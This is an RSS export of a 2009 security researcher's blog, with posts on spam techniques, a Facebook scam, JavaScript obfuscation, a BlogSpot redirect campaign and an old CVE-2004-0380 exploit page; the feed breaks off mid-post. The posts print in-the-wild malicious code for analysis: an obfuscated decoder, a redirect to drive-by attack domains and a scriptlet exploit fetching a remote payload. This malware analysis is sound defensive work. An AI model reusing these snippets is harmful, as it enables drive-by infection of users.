<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>Marco's Blog</title><link>http://www.cs.ucsb.edu/~marco/blog/</link><description>Security, Code, Curiosity</description><language>en-us</language><copyright>Creative Commons Attribution-Noncommercial 3.0 United States License</copyright><managingEditor>marco@cs.ucsb.edu  (Marco Cova)</managingEditor><webMaster>marco@cs.ucsb.edu (Marco Cova)</webMaster><lastBuildDate>Mon, 26 Oct 2009 19:53:00 GMT</lastBuildDate><generator>PyRSS2Gen-1.0.0</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/ucsb/marco" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><title>"Presidential" spam</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/plSStIMotiI/presidential-spam.html</link><description>&lt;p&gt;A technique often used by spammers to attempt to get their messages past
spam filters consists of mixing the questionable content they advertise
with legitimate text. This type of attack is sometimes called &lt;a href="http://en.wikipedia.org/wiki/Bayesian_poisoning"&gt;Bayesian
poisoning&lt;/a&gt; since it is
believed to specifically target spam filters that rely on Bayesian
classifiers.&lt;/p&gt;

&lt;p&gt;An example where this technique is applied is a message I received
today:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;I stand here today humbled by the task before 
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;http://www.bawwgt.com&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;dofus kamas&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;, grateful for the trust you
have bestowed, mindful of the sacrifices borne by our 
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;http://www.bawwgt.com&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;cheap dofus kamas&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;. I thank President 
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;http://www.bawwgt.com&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;dofus power leveling&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt; for his service to
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;http://www.bawwgt.com&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;buy dofus kamas&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;, as well as the
generosity and cooperation he has shown throughout this transition.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This message consists of the first few sentences from &lt;a href="http://www.nytimes.com/2009/01/20/us/politics/20text-obama.html"&gt;Barack Obama's
inaugural
address&lt;/a&gt;,
where a few words have been substituted with links to the
&lt;strong&gt;www.bawwgt.com&lt;/strong&gt; web site. This web site appears to be in the business
of selling &lt;code&gt;Kamas&lt;/code&gt;, the currency used in the MMORPG game Dofus, and,
judging by its graphics, items from other online worlds.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/presidential-spam-bawwgt.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/presidential-spam-bawwgt.png"
     class="figure-centered"
     alt="Screenshot of the website bawwgt.com"
     title="Screenshot of the website bawwgt.com(click for larger picture)"
     width="554" height="583"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that &lt;a href="http://www.symantec.com/connect/blogs/online-miscreants-swept-away-obamania"&gt;spam messages themed after Obama's inauguration
ceremony&lt;/a&gt;
were used by the Waledac gang to spread its malware back in January this
year. If this is a trend, should we expect spam and malware to become
one more reason for heated political debates?&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/plSStIMotiI" height="1" width="1"/&gt;</description><category>spam</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/presidential-spam.html</guid><pubDate>Mon, 26 Oct 2009 19:53:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/presidential-spam.html</feedburner:origLink></item><item><title>YourBizBegin spam campaign on Facebook</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/WO6GWZC5guQ/yourbizbegin-spam-campaign-on-facebook.html</link><description>&lt;p&gt;A fairly successful spam campaign is currently active on Facebook. The
campaign advertises the web sites &lt;code&gt;YourBizBegin.com&lt;/code&gt; and
&lt;code&gt;YourBizStart.com&lt;/code&gt;, which promise easy money for working from home.
Googling for the site names shows various reports and complaints, for
example, the ones on
&lt;a href="http://www.hkactivity.com/yourbizstart-com-facebook-scam/"&gt;hkactivity&lt;/a&gt;,
&lt;a href="http://www.ripoffreport.com/Bait-and-Switch/Google-Profit-Club/google-profit-club-fraud-scam-ea5mp.htm"&gt;RipoffReport&lt;/a&gt;,
and
&lt;a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=09f340b8a04d4ac6&amp;amp;hl=en"&gt;Google&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/yourbizbegin-facebook-spam-campaign.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/yourbizbegin-facebook-spam-campaign.png"
     class="figure-centered"
     alt="Spam messages on Facebook advertising YourBizBegin.com"
     title="Spam messages on Facebook advertising YourBizBegin.com (click for larger picture)"
     width="554" height="130"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The picture above shows a (sanitized) screenshot of a couple of messages that
appeared on a compromised account.  The text of all the spammed messages I have
seen are similar to the ones shown above.  The only variations I have observed
so far are in the dollar amounts and the 3-letter signatures.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/yourbizbegin.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/yourbizbegin.png"
     class="figure-centered"
     alt="Screenshot of YourBizBegin.com"
     title="Screenshot of YourBizBegin.com (click for larger picture)"
     width="554" height="275"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The web sites &lt;code&gt;YourBizBegin.com&lt;/code&gt; and &lt;code&gt;YourBizStart.com&lt;/code&gt; appear to be just
front-ends for
&lt;code&gt;www.HomeBizOffer.net&lt;/code&gt;. HomeBizOffer.net pushes a "Google Profit Club
Kit," which, according to the site itself, should enable one to make an
easy $200&amp;ndash;$943 per day via Google ads. Downloading the kit costs
only $3.95 of processing fee.  Needless to say, the fine print at the
bottom of the pages discloses that a membership rate of $74.93 is
charged monthly. 
Furthermore, the terms of use and privacy policy terms on
homebizoffer.net points at another web site, &lt;code&gt;secureweboffer.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/secureweboffer.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/secureweboffer.png"
     class="figure-centered"
     alt="Screenshot of secureweboffer.com"
     title="Screenshot of secureweboffer.com (click for larger picture)"
     width="550" height="166"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is some more information about the involved web sites:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;yourbizbegin.com&lt;/strong&gt;, registrant: HAIJUN ZHAO, IP: 121.199.253.194
(TIMENET BeiJing Sincerity-times Network Technology Project Ltd.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;yourbizstart.com&lt;/strong&gt;, registrant: HAIJUN ZHAO, IP: 121.199.253.122 (same)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;homebizoffer.net&lt;/strong&gt;, registrant:  JIANG ZHAO, IP: 121.199.253.125 (same)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;secureweboffer.com&lt;/strong&gt;, registrant: DomainsByProxy, IP: 174.143.244.146
(RMH-14 - Rackspace.com, Ltd.)&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/WO6GWZC5guQ" height="1" width="1"/&gt;</description><category>malware</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/yourbizbegin-spam-campaign-on-facebook.html</guid><pubDate>Mon, 19 Oct 2009 12:24:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/yourbizbegin-spam-campaign-on-facebook.html</feedburner:origLink></item><item><title>JavaScript anti-analysis tricks: last-modified</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/9z4ye71Q6pI/javascript-anti-analysis-tricks-last-modified.html</link><description>&lt;p&gt;Writers of malicious JavaScript code have always been keen on developing
novel ways to make the analysis of their code harder.  One of the most
commonly used mechanisms to do so is (no surprise here) 
simple obfuscation. For example, malware authors commonly encode string
literals with custom schemes. A decoding routine then de-scrambles the
strings before using them further (for example, as the URL of the next
step of an attack or as the CLSID of a vulnerable ActiveX control).&lt;/p&gt;

&lt;p&gt;Interestingly, malware authors have also introduced various techniques
to make the basic deobfuscation step more difficult, in particular, if performed
in an off-line analysis environment, which, for example, examines the
pages saved during a crawling session.&lt;/p&gt;

&lt;p&gt;One of the earliest trick consists of &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html"&gt;using the URL of the obfuscated page
as a decoding
key&lt;/a&gt; in the deobfuscation
routine. More recently, other techniques have also been used. One I have
seen lately uses &lt;em&gt;the time of the last modification of the page&lt;/em&gt; in the
decoding routine.&lt;/p&gt;

&lt;p&gt;Consider, for example, the following script:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;gtvwx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;abwz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;gnru&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;bfqrv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastModified&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;dilp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;cjltu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;bfqrv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;acinqu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;dilp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;f#r(o#mZC#h#aZrZC(o,d#e(&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/[\\(Z,G#]/g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;gnty&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;bfqrv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;25&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;cjltu&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;ckoxz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;klny&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;bfkw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;ckoxz&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;euv9a2lS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/[S2u9@]/g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;fopv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;173&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;94&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;ailmux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ehlt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;fopv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="nx"&gt;klny&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nx"&gt;acinqu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fopv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;
          &lt;span class="nx"&gt;gnty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;gnty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;cklqry&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;gnty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="nx"&gt;bfkw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;klny&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;ailmux&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code reads the time the page was last modified from the 
&lt;code&gt;document.lastModified&lt;/code&gt; property. This property is initialized from the
value of the &lt;code&gt;Last-Modified&lt;/code&gt; header sent from the web server serving the
page. The script then parses the time and extracts the number of seconds
from the time string into the &lt;code&gt;cjltu&lt;/code&gt; variable. 
The seconds value is then used to compute the value of the &lt;code&gt;gnty&lt;/code&gt;
variable, which is used in the decoding routine to recover the
in-the-clear text from the encoded array &lt;code&gt;fopv&lt;/code&gt;..&lt;/p&gt;

&lt;p&gt;These are the Wepawet reports for a couple of sites that use this
techniques:
&lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=0a2fc50c968528a65c8058cf4e965dea&amp;amp;t=1255038031&amp;amp;type=js"&gt;report for hxxp://www.pipisechka.com/sleep/news.php&lt;/a&gt;
and
&lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=3a2ffc74c6c2048de920c9ce26ca3264&amp;amp;t=1255049207&amp;amp;type=js"&gt;report for hxxp://day-evryday.cn/news.php&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/9z4ye71Q6pI" height="1" width="1"/&gt;</description><category>javascript</category><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/javascript-anti-analysis-tricks-last-modified.html</guid><pubDate>Wed, 14 Oct 2009 10:45:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/javascript-anti-analysis-tricks-last-modified.html</feedburner:origLink></item><item><title>Mutu campaign on BlogSpot</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/GZyIar7sXU4/mutu-campaign-on-blogspot.html</link><description>&lt;p&gt;A new malware campaign is currently abusing BlogSpot. I'll call it the
"Mutu" campaign from the text that is found on the malicious pages. I
have so far detected almost 400 blogs that are actively involved in the
campaign.&lt;/p&gt;

&lt;p&gt;A malicious blog looks like the following picture. 
Note that the actual text, layout, and color themes may vary across
different pages.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/mutu-campaign-blogspot.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/mutu-campaign-blogspot.png"
     class="figure-centered"
     alt="A malicious &amp;quot;Mutu&amp;quot; blog on BlogSpot"
     title="A malicious &amp;quot;Mutu&amp;quot; blog on BlogSpot (click for larger picture)"
     width="500" height="314"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A malicious page contains a script tag similar to the following:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;javascript&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f&amp;#39;&lt;/span&gt;
  &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%77%77%77%2e%78&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%78%78%6f%64&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\\u006e\\u006f\\u006b\\u006c\\u0061\\u0073&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sniki&amp;#39;&lt;/span&gt;
  &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%2e%63%6f%6d%2f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%3f%61%64&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%76%3d%67%61%72&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bunov&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The script causes the victim's browser to fetch a malicious (or at least
dubious) page from one of several domains. These are the domains that
are currently being redirected to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;afsharteam1.com&lt;/li&gt;
&lt;li&gt;mihavom.cn&lt;/li&gt;
&lt;li&gt;news.allwinsoft.ru&lt;/li&gt;
&lt;li&gt;relstagu.ru&lt;/li&gt;
&lt;li&gt;www.pillsonlinerxhealth.net&lt;/li&gt;
&lt;li&gt;www.xxxodnoklassniki.com&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some of these domains appear to be selling various items (cell phone,
drugs). However, others (at least &lt;code&gt;afsharteam1.com&lt;/code&gt;) launch
drive-by-download attacks. As a result, a malware with &lt;a href="http://www.virustotal.com/analisis/efff604d48f6cabc7bb2356a6de3fa4965e4571c699c1082dc88c8257ce65dd7-1255023821"&gt;limited and
generic detection on
VirusTotal&lt;/a&gt; gets downloaded and launched on the
vicitm's machine.
For more details, see the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?type=js&amp;amp;hash=d55aea59cd61215efb5782772322b59d&amp;amp;t=1255115079"&gt;Wepawet report for
bertilladingman36429.blogspot.com&lt;/a&gt;,
a blog that redirects to drive-by attacks.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/GZyIar7sXU4" height="1" width="1"/&gt;</description><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/mutu-campaign-on-blogspot.html</guid><pubDate>Sat, 10 Oct 2009 08:33:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/mutu-campaign-on-blogspot.html</feedburner:origLink></item><item><title>Old exploit still kicking (CVE-2004-0380)</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/_JfMgBsst3M/old-exploit-still-kicking-cve-2004-0380.html</link><description>&lt;p&gt;Some exploits just do not want to go away.&lt;/p&gt;

&lt;p&gt;Case in point is an exploit for
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380"&gt;CVE-2004-0380&lt;/a&gt;
(yes, 2004!) that I have recently found in 
hxxp://lixiaoxia.vhost008.cn/2.htm. The page is rather simple:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;OBJECT&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;display:none;&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/x-scriptlet&amp;quot;&lt;/span&gt; 
  &lt;span class="na"&gt;data=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;amp;#77&amp;amp;#75&amp;amp;#58&amp;amp;#64&amp;amp;#77&amp;amp;#83&amp;amp;#73&amp;amp;#84&amp;amp;#83&amp;amp;#116&amp;amp;#111&amp;amp;#114&amp;amp;#101&amp;amp;#58&amp;amp;#109&lt;/span&gt;
&lt;span class="s"&gt;    &amp;amp;#104&amp;amp;#116&amp;amp;#109&amp;amp;#108&amp;amp;#58&amp;amp;#99&amp;amp;#58&amp;amp;#92&amp;amp;#46&amp;amp;#109&amp;amp;#104&amp;amp;#116&amp;amp;#33&amp;amp;#104&amp;amp;#116&lt;/span&gt;
&lt;span class="s"&gt;    &amp;amp;#116&amp;amp;#112&amp;amp;#58&amp;amp;#47/http://lixiaoxia.vhost008.cn/logo.jpg ::/102%2E%68tm&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/OBJECT&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;object&lt;/code&gt; tag instantiates a
&lt;a href="http://msdn.microsoft.com/en-us/library/aa140838%28office.10%29.aspx"&gt;scriptlet&lt;/a&gt;.
A scriptlet is essentially a reusable object written as a regular web
page in which scripts follow certain conventions. Think of ActiveX
